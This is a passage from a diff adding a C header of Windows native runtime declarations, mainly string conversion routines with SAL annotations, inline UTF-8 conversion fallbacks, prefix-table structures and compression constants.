PUNICODE_STRING CharSet, + _Out_ PUSHORT NonInclusivePrefixLength +); + +_Success_(1) +_Unchanged_(Destination->MaximumLength) +_Unchanged_(Destination->Buffer) +_When_(_Old_(Destination->Length) + Source->Length <= Destination->MaximumLength, + _At_(Destination->Length, + _Post_equal_to_(_Old_(Destination->Length) + Source->Length)) + _At_(return, _Out_range_(== , 0))) + _When_(_Old_(Destination->Length) + Source->Length > Destination->MaximumLength, + _Unchanged_(Destination->Length) + _At_(return, _Out_range_(< , 0))) + NTSYSAPI + NTSTATUS + NTAPI + RtlAppendUnicodeStringToString( + _Inout_ PUNICODE_STRING Destination, + _In_ PCUNICODE_STRING Source + ); + +_Success_(1) +_Unchanged_(Destination->MaximumLength) +_Unchanged_(Destination->Buffer) +_When_(_Old_(Destination->Length) + _String_length_(Source) * sizeof(WCHAR) <= Destination->MaximumLength, + _At_(Destination->Length, + _Post_equal_to_(_Old_(Destination->Length) + _String_length_(Source) * sizeof(WCHAR))) + _At_(return, _Out_range_(== , 0))) + _When_(_Old_(Destination->Length) + _String_length_(Source) * sizeof(WCHAR) > Destination->MaximumLength, + _Unchanged_(Destination->Length) + _At_(return, _Out_range_(< , 0))) + NTSYSAPI + NTSTATUS + NTAPI + RtlAppendUnicodeToString( + _Inout_ PUNICODE_STRING Destination, + _In_opt_z_ PCWSTR Source + ); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(AllocateDestinationString, _Must_inspect_result_) +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUNICODE_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(AllocateDestinationString, _Must_inspect_result_) +NTSYSAPI +NTSTATUS +NTAPI +RtlDowncaseUnicodeString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUNICODE_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +NTSYSAPI +VOID +NTAPI +RtlEraseUnicodeString( + _Inout_ PUNICODE_STRING String +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlAnsiStringToUnicodeString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUNICODE_STRING DestinationString, + _In_ PCANSI_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_When_(AllocateDestinationString, + _At_(DestinationString->MaximumLength, + _Out_range_(<= , (SourceString->MaximumLength / sizeof(WCHAR))))) + _When_(!AllocateDestinationString, + _At_(DestinationString->Buffer, _Const_) + _At_(DestinationString->MaximumLength, _Const_)) + _IRQL_requires_max_(PASSIVE_LEVEL) + _When_(AllocateDestinationString, _Must_inspect_result_) + NTSYSAPI + NTSTATUS + NTAPI + RtlUnicodeStringToAnsiString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PANSI_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString + ); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlUTF8ToUnicodeN( + _Out_writes_bytes_to_(UnicodeStringMaxByteCount, *UnicodeStringActualByteCount) PWSTR UnicodeStringDestination, + _In_ ULONG UnicodeStringMaxByteCount, + _Out_ PULONG UnicodeStringActualByteCount, + _In_reads_bytes_(UTF8StringByteCount) PCCH UTF8StringSource, + _In_ ULONG UTF8StringByteCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeToUTF8N( + _Out_writes_bytes_to_(UTF8StringMaxByteCount, *UTF8StringActualByteCount) PCHAR UTF8StringDestination, + _In_ ULONG UTF8StringMaxByteCount, + _Out_ PULONG UTF8StringActualByteCount, + _In_reads_bytes_(UnicodeStringByteCount) PCWCH UnicodeStringSource, + _In_ ULONG UnicodeStringByteCount +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_VB) +_When_(AllocateDestinationString, + _At_(DestinationString->MaximumLength, _Out_range_(<= , (SourceString->MaximumLength / sizeof(WCHAR))))) +_When_(!AllocateDestinationString, + _At_(DestinationString->Buffer, _Const_) + _At_(DestinationString->MaximumLength, _Const_)) +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(AllocateDestinationString, _Must_inspect_result_) +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToUTF8String( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUTF8_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlUTF8StringToUnicodeString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUNICODE_STRING DestinationString, + _In_ PUTF8_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +#else // NTDDI_VERSION >= NTDDI_WIN10_VB + +_When_(AllocateDestinationString, +_At_(DestinationString->MaximumLength, _Out_range_(<= , (SourceString->MaximumLength / sizeof(WCHAR))))) +_When_(!AllocateDestinationString, + _At_(DestinationString->Buffer, _Const_) + _At_(DestinationString->MaximumLength, _Const_)) +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(AllocateDestinationString, _Must_inspect_result_) +FORCEINLINE +NTSTATUS +NTAPI +RtlUnicodeStringToUTF8String( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUTF8_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +) +{ + NTSTATUS Status = STATUS_SUCCESS; + + do + { + ULONG ActualByteCount = 0ul; + + Status = RtlUnicodeToUTF8N(NULL, 0, &ActualByteCount, SourceString->Buffer, SourceString->Length); + if (ActualByteCount == 0ul) + { + break; + } + + ActualByteCount += sizeof ANSI_NULL; + + if (ActualByteCount >= ANSI_STRING_MAX_BYTES) + { + return STATUS_INVALID_PARAMETER_2; + } + + if (AllocateDestinationString) + { +#ifdef _KERNEL_MODE +#pragma warning(suppress: 4996) + DestinationString->Buffer = (PSTR)ExAllocatePool(PagedPool, ActualByteCount); +#else + DestinationString->Buffer = (PSTR)LocalAlloc(LPTR, ActualByteCount); +#endif + if (DestinationString->Buffer == NULL) + { + Status = STATUS_NO_MEMORY; + break; + } + DestinationString->MaximumLength = (USHORT)ActualByteCount; + + RtlSecureZeroMemory(DestinationString->Buffer, ActualByteCount); + } + else + { + if (DestinationString->MaximumLength < ActualByteCount) + { + Status = STATUS_BUFFER_OVERFLOW; + break; + } + } + + Status = RtlUnicodeToUTF8N(DestinationString->Buffer, DestinationString->MaximumLength, &ActualByteCount, SourceString->Buffer, SourceString->Length); + if (!NT_SUCCESS(Status)) + { + if (AllocateDestinationString) + { + RtlFreeAnsiString(DestinationString); + } + break; + } + + if (ActualByteCount > DestinationString->MaximumLength) + { + Status = STATUS_BUFFER_OVERFLOW; + break; + } + + DestinationString->Length = (USHORT)ActualByteCount; + DestinationString->Buffer[ActualByteCount / sizeof ANSI_NULL] = ANSI_NULL; + + } while (false); + + return Status; +} + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +FORCEINLINE +NTSTATUS +NTAPI +RtlUTF8StringToUnicodeString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUNICODE_STRING DestinationString, + _In_ PUTF8_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +) +{ + NTSTATUS Status = STATUS_SUCCESS; + + do + { + ULONG ActualByteCount = 0ul; + + Status = RtlUTF8ToUnicodeN(NULL, 0, &ActualByteCount, SourceString->Buffer, SourceString->Length); + if (ActualByteCount == 0ul) + { + break; + } + + ActualByteCount += sizeof UNICODE_NULL; + + if (ActualByteCount >= UNICODE_STRING_MAX_BYTES) + { + return STATUS_INVALID_PARAMETER_2; + } + + if (AllocateDestinationString) + { +#ifdef _KERNEL_MODE +#pragma warning(suppress: 4996) + DestinationString->Buffer = (PWCH)ExAllocatePool(PagedPool, ActualByteCount); +#else + DestinationString->Buffer = (PWCH)LocalAlloc(LPTR, ActualByteCount); +#endif + if (DestinationString->Buffer == NULL) + { + Status = STATUS_NO_MEMORY; + break; + } + DestinationString->MaximumLength = (USHORT)ActualByteCount; + + RtlSecureZeroMemory(DestinationString->Buffer, ActualByteCount); + } + else + { + if (DestinationString->MaximumLength < ActualByteCount) + { + Status = STATUS_BUFFER_OVERFLOW; + break; + } + } + + Status = RtlUTF8ToUnicodeN(DestinationString->Buffer, DestinationString->MaximumLength, &ActualByteCount, SourceString->Buffer, SourceString->Length); + if (!NT_SUCCESS(Status)) + { + if (AllocateDestinationString) + { + RtlFreeUnicodeString(DestinationString); + } + break; + } + + if (ActualByteCount > DestinationString->MaximumLength) + { + Status = STATUS_BUFFER_OVERFLOW; + break; + } + + DestinationString->Length = (USHORT)ActualByteCount; + DestinationString->Buffer[ActualByteCount / sizeof UNICODE_NULL] = UNICODE_NULL; + + } while (false); + + return Status; +} + +#endif //NTDDI_VERSION < NTDDI_WIN10_VB + +NTSYSAPI +WCHAR +NTAPI +RtlAnsiCharToUnicodeChar( + _Inout_ PUCHAR * SourceCharacter +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToAnsiString( + _Inout_ PANSI_STRING DestinationString, + _In_ PUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlOemStringToUnicodeString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUNICODE_STRING DestinationString, + _In_ PCOEM_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +_When_(AllocateDestinationString, _At_(DestinationString->Buffer, _Post_notnull_ __drv_allocatesMem(Mem))) +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToOemString( + _When_(AllocateDestinationString, _Out_) + _When_(!AllocateDestinationString, _Inout_) + POEM_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToOemString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + POEM_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlOemStringToCountedUnicodeString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + PUNICODE_STRING DestinationString, + _In_ PCOEM_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToCountedOemString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + POEM_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToCountedOemString( + _When_(AllocateDestinationString, _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem))) + _When_(!AllocateDestinationString, _Inout_) + POEM_STRING DestinationString, + _In_ PCUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlMultiByteToUnicodeN( + _Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_opt_ PULONG BytesInUnicodeString, + _In_reads_bytes_(BytesInMultiByteString) PCSTR MultiByteString, + _In_ ULONG BytesInMultiByteString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlMultiByteToUnicodeSize( + _Out_ PULONG BytesInUnicodeString, + _In_reads_bytes_(BytesInMultiByteString) PCSTR MultiByteString, + _In_ ULONG BytesInMultiByteString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeToMultiByteN( + _Out_writes_bytes_to_(MaxBytesInMultiByteString, *BytesInMultiByteString) PCHAR MultiByteString, + _In_ ULONG MaxBytesInMultiByteString, + _Out_opt_ PULONG BytesInMultiByteString, + _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString, + _In_ ULONG BytesInUnicodeString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeToMultiByteSize( + _Out_ PULONG BytesInMultiByteString, + _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString, + _In_ ULONG BytesInUnicodeString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeToMultiByteN( + _Out_writes_bytes_to_(MaxBytesInMultiByteString, *BytesInMultiByteString) PCHAR MultiByteString, + _In_ ULONG MaxBytesInMultiByteString, + _Out_opt_ PULONG BytesInMultiByteString, + _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString, + _In_ ULONG BytesInUnicodeString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlOemToUnicodeN( + _Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWSTR UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_opt_ PULONG BytesInUnicodeString, + _In_reads_bytes_(BytesInOemString) PCCH OemString, + _In_ ULONG BytesInOemString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeToOemN( + _Out_writes_bytes_to_(MaxBytesInOemString, *BytesInOemString) PCHAR OemString, + _In_ ULONG MaxBytesInOemString, + _Out_opt_ PULONG BytesInOemString, + _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString, + _In_ ULONG BytesInUnicodeString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeToOemN( + _Out_writes_bytes_to_(MaxBytesInOemString, *BytesInOemString) PCHAR OemString, + _In_ ULONG MaxBytesInOemString, + _Out_opt_ PULONG BytesInOemString, + _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString, + _In_ ULONG BytesInUnicodeString +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlConsoleMultiByteToUnicodeN( + _Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_opt_ PULONG BytesInUnicodeString, + _In_reads_bytes_(BytesInMultiByteString) PCCH MultiByteString, + _In_ ULONG BytesInMultiByteString, + _Out_ PULONG pdwSpecialChar +); + +// +// String manipulation routines +// + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlCustomCPToUnicodeN( + _In_ PCPTABLEINFO CustomCP, + _Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_opt_ PULONG BytesInUnicodeString, + _In_reads_bytes_(BytesInCustomCPString) PCH CustomCPString, + _In_ ULONG BytesInCustomCPString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeToCustomCPN( + _In_ PCPTABLEINFO CustomCP, + _Out_writes_bytes_to_(MaxBytesInCustomCPString, *BytesInCustomCPString) PCH CustomCPString, + _In_ ULONG MaxBytesInCustomCPString, + _Out_opt_ PULONG BytesInCustomCPString, + _In_reads_bytes_(BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeToCustomCPN( + _In_ PCPTABLEINFO CustomCP, + _Out_writes_bytes_to_(MaxBytesInCustomCPString, *BytesInCustomCPString) PCH CustomCPString, + _In_ ULONG MaxBytesInCustomCPString, + _Out_opt_ PULONG BytesInCustomCPString, + _In_reads_bytes_(BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlInitCodePageTable( + _In_reads_opt_(2) PUSHORT TableBase, + _Inout_ PCPTABLEINFO CodePageTable +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +VOID +NTAPI +RtlInitNlsTables( + _In_ PUSHORT AnsiNlsBase, + _In_ PUSHORT OemNlsBase, + _In_ PUSHORT LanguageNlsBase, + _Out_ PNLSTABLEINFO TableInfo // PCPTABLEINFO? +); + +NTSYSAPI +VOID +NTAPI +RtlResetRtlTranslations( + _In_ PNLSTABLEINFO TableInfo +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsTextUnicode( + _In_ PVOID Buffer, + _In_ ULONG Size, + _Inout_opt_ PULONG Result +); + +#endif // !_KERNEL_MODE + +typedef enum _RTL_NORM_FORM +{ + NormOther = 0x0, + NormC = 0x1, + NormD = 0x2, + NormKC = 0x5, + NormKD = 0x6, + NormIdna = 0xd, + DisallowUnassigned = 0x100, + NormCDisallowUnassigned = 0x101, + NormDDisallowUnassigned = 0x102, + NormKCDisallowUnassigned = 0x105, + NormKDDisallowUnassigned = 0x106, + NormIdnaDisallowUnassigned = 0x10d +} RTL_NORM_FORM; + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +NTSTATUS +NTAPI +RtlNormalizeString( + _In_ ULONG NormForm, // RTL_NORM_FORM + _In_ PCWSTR SourceString, + _In_ LONG SourceStringLength, + _Out_writes_to_(*DestinationStringLength, *DestinationStringLength) PWSTR DestinationString, + _Inout_ PLONG DestinationStringLength +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIsNormalizedString( + _In_ ULONG NormForm, // RTL_NORM_FORM + _In_ PCWSTR SourceString, + _In_ LONG SourceStringLength, + _Out_ PBOOLEAN Normalized +); +#endif + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// ntifs:FsRtlIsNameInExpression +NTSYSAPI +BOOLEAN +NTAPI +RtlIsNameInExpression( + _In_ PUNICODE_STRING Expression, + _In_ PUNICODE_STRING Name, + _In_ BOOLEAN IgnoreCase, + _In_opt_ PWCH UpcaseTable +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS4) +// ntifs:FsRtlIsNameInUnUpcasedExpression +NTSYSAPI +BOOLEAN +NTAPI +RtlIsNameInUnUpcasedExpression( + _In_ PUNICODE_STRING Expression, + _In_ PUNICODE_STRING Name, + _In_ BOOLEAN IgnoreCase, + _In_opt_ PWCH UpcaseTable +); +#endif + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualDomainName( + _In_ PUNICODE_STRING String1, + _In_ PUNICODE_STRING String2 +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualComputerName( + _In_ PUNICODE_STRING String1, + _In_ PUNICODE_STRING String2 +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDnsHostNameToComputerName( + _Out_ PUNICODE_STRING ComputerNameString, + _In_ PUNICODE_STRING DnsHostNameString, + _In_ BOOLEAN AllocateComputerNameString +); + +#endif // !_KERNEL_MODE + +#ifndef _KERNEL_MODE +#define RTL_GUID_STRING_SIZE 38 +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlStringFromGUID( + _In_ REFGUID Guid, + _Out_ _At_(GuidString->Buffer, __drv_allocatesMem(Mem)) + PUNICODE_STRING GuidString +); + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) + +// rev +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlStringFromGUIDEx( + _In_ PGUID Guid, + _Inout_ PUNICODE_STRING GuidString, + _In_ BOOLEAN AllocateGuidString +); + +#endif + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlGUIDFromString( + _In_ PCUNICODE_STRING GuidString, + _Out_ GUID* Guid +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +LONG +NTAPI +RtlCompareAltitudes( + _In_ PCUNICODE_STRING Altitude1, + _In_ PCUNICODE_STRING Altitude2 +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIdnToAscii( + _In_ ULONG Flags, + _In_ PCWSTR SourceString, + _In_ LONG SourceStringLength, + _Out_writes_to_(*DestinationStringLength, *DestinationStringLength) PWSTR DestinationString, + _Inout_ PLONG DestinationStringLength +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIdnToUnicode( + _In_ ULONG Flags, + _In_ PCWSTR SourceString, + _In_ LONG SourceStringLength, + _Out_writes_to_(*DestinationStringLength, *DestinationStringLength) PWSTR DestinationString, + _Inout_ PLONG DestinationStringLength +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIdnToNameprepUnicode( + _In_ ULONG Flags, + _In_ PCWSTR SourceString, + _In_ LONG SourceStringLength, + _Out_writes_to_(*DestinationStringLength, *DestinationStringLength) PWSTR DestinationString, + _Inout_ PLONG DestinationStringLength +); +#endif // NTDDI_VERSION >= NTDDI_VISTA + +// +// Prefix +// + +#ifndef _KERNEL_MODE + +// +// Prefix package types and procedures. +// +// Note that the following two record structures should really be opaque +// to the user of this package. The only information about the two +// structures available for the user should be the size and alignment +// of the structures. +// + +typedef struct _PREFIX_TABLE_ENTRY { + CSHORT NodeTypeCode; + CSHORT NameLength; + struct _PREFIX_TABLE_ENTRY* NextPrefixTree; + RTL_SPLAY_LINKS Links; + PSTRING Prefix; +} PREFIX_TABLE_ENTRY; +typedef PREFIX_TABLE_ENTRY* PPREFIX_TABLE_ENTRY; + +typedef struct _PREFIX_TABLE { + CSHORT NodeTypeCode; + CSHORT NameLength; + PPREFIX_TABLE_ENTRY NextPrefixTree; +} PREFIX_TABLE; +typedef PREFIX_TABLE* PPREFIX_TABLE; + +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +PfxInitialize( + _Out_ PPREFIX_TABLE PrefixTable +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +BOOLEAN +NTAPI +PfxInsertPrefix( + _In_ PPREFIX_TABLE PrefixTable, + _In_ __drv_aliasesMem PSTRING Prefix, + _Out_ PPREFIX_TABLE_ENTRY PrefixTableEntry +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +PfxRemovePrefix( + _In_ PPREFIX_TABLE PrefixTable, + _In_ PPREFIX_TABLE_ENTRY PrefixTableEntry +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +PPREFIX_TABLE_ENTRY +NTAPI +PfxFindPrefix( + _In_ PPREFIX_TABLE PrefixTable, + _In_ PSTRING FullName +); + +#ifndef _KERNEL_MODE + +// +// The following definitions are for the unicode version of the prefix +// package. +// + +typedef struct _UNICODE_PREFIX_TABLE_ENTRY { + CSHORT NodeTypeCode; + CSHORT NameLength; + struct _UNICODE_PREFIX_TABLE_ENTRY* NextPrefixTree; + struct _UNICODE_PREFIX_TABLE_ENTRY* CaseMatch; + RTL_SPLAY_LINKS Links; + PUNICODE_STRING Prefix; +} UNICODE_PREFIX_TABLE_ENTRY; +typedef UNICODE_PREFIX_TABLE_ENTRY* PUNICODE_PREFIX_TABLE_ENTRY; + +typedef struct _UNICODE_PREFIX_TABLE { + CSHORT NodeTypeCode; + CSHORT NameLength; + PUNICODE_PREFIX_TABLE_ENTRY NextPrefixTree; + PUNICODE_PREFIX_TABLE_ENTRY LastNextEntry; +} UNICODE_PREFIX_TABLE; +typedef UNICODE_PREFIX_TABLE* PUNICODE_PREFIX_TABLE; + +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlInitializeUnicodePrefix( + _Out_ PUNICODE_PREFIX_TABLE PrefixTable +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +BOOLEAN +NTAPI +RtlInsertUnicodePrefix( + _In_ PUNICODE_PREFIX_TABLE PrefixTable, + _In_ __drv_aliasesMem PUNICODE_STRING Prefix, + _Out_ PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlRemoveUnicodePrefix( + _In_ PUNICODE_PREFIX_TABLE PrefixTable, + _In_ PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +PUNICODE_PREFIX_TABLE_ENTRY +NTAPI +RtlFindUnicodePrefix( + _In_ PUNICODE_PREFIX_TABLE PrefixTable, + _In_ PCUNICODE_STRING FullName, + _In_ ULONG CaseInsensitiveIndex +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +PUNICODE_PREFIX_TABLE_ENTRY +NTAPI +RtlNextUnicodePrefix( + _In_ PUNICODE_PREFIX_TABLE PrefixTable, + _In_ BOOLEAN Restart +); + +// +// Compression +// + +#ifndef _KERNEL_MODE + +// +// Compression package types and procedures. +// + +#define COMPRESSION_FORMAT_NONE (0x0000) // winnt +#define COMPRESSION_FORMAT_DEFAULT (0x0001) // winnt +#define COMPRESSION_FORMAT_LZNT1 (0x0002) // winnt +#define COMPRESSION_FORMAT_XPRESS (0x0003) // winnt +#define COMPRESSION_FORMAT_XPRESS_HUFF (0x0004) // winnt +#define COMPRESSION_FORMAT_XP10 (0x0005) // winnt +#define COMPRESSION_FORMAT_MAX (0x0005) + +#define COMPRESSION_ENGINE_STANDARD (0x0000) // winnt +#define COMPRESSION_ENGINE_MAXIMUM (0x0100) // winnt +#define COMPRESSION_ENGINE_HIBER (0x0200) // winnt +#define COMPRESSION_ENGINE_MAX (0x0200) + +#define COMPRESSION_FORMAT_MASK (0x00FF) +#define COMPRESSION_ENGINE_MASK (0xFF00) +#define COMPRESSION_FORMAT_ENGINE_MASK (COMPRESSION_FORMAT_MASK | \ + COMPRESSION_ENGINE_MASK) + +// +// Compressed Data Information structure. This structure is +// used to describe the state of a compressed data buffer, +// whose uncompressed size is known. All compressed chunks +// described by this structure must be compressed with the +// same format. On compressed reads, this entire structure +// is an output, and on compressed writes the entire structure +// is an input. +// + +typedef struct _COMPRESSED_DATA_INFO { + + // + // Code for the compression format (and engine) as + // defined in ntrtl.h. Note that COMPRESSION_FORMAT_NONE + // and COMPRESSION_FORMAT_DEFAULT are invalid if + // any of the described chunks are compressed. + // + + USHORT CompressionFormatAndEngine; + + // + // Since chunks and compression units are expected to be + // powers of 2 in size, we express then log2. So, for + // example (1 << ChunkShift) == ChunkSizeInBytes. The + // ClusterShift indicates how much space must be saved + // to successfully compress a compression unit - each + // successfully compressed compression unit must occupy + // at least one cluster less in bytes than an uncompressed + // compression unit. + // + + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved; + + // + // This is the number of entries in the CompressedChunkSizes + // array. + // + + USHORT NumberOfChunks; + + // + // This is an array of the sizes of all chunks resident + // in the compressed data buffer. There must be one entry + // in this array for each chunk possible in the uncompressed + // buffer size. A size of FSRTL_CHUNK_SIZE indicates the + // corresponding chunk is uncompressed and occupies exactly + // that size. A size of 0 indicates that the corresponding + // chunk contains nothing but binary 0's, and occupies no + // space in the compressed data. All other sizes must be + // less than FSRTL_CHUNK_SIZE, and indicate the exact size + // of the compressed data in bytes. + // + + ULONG CompressedChunkSizes[ANYSIZE_ARRAY]; + +} 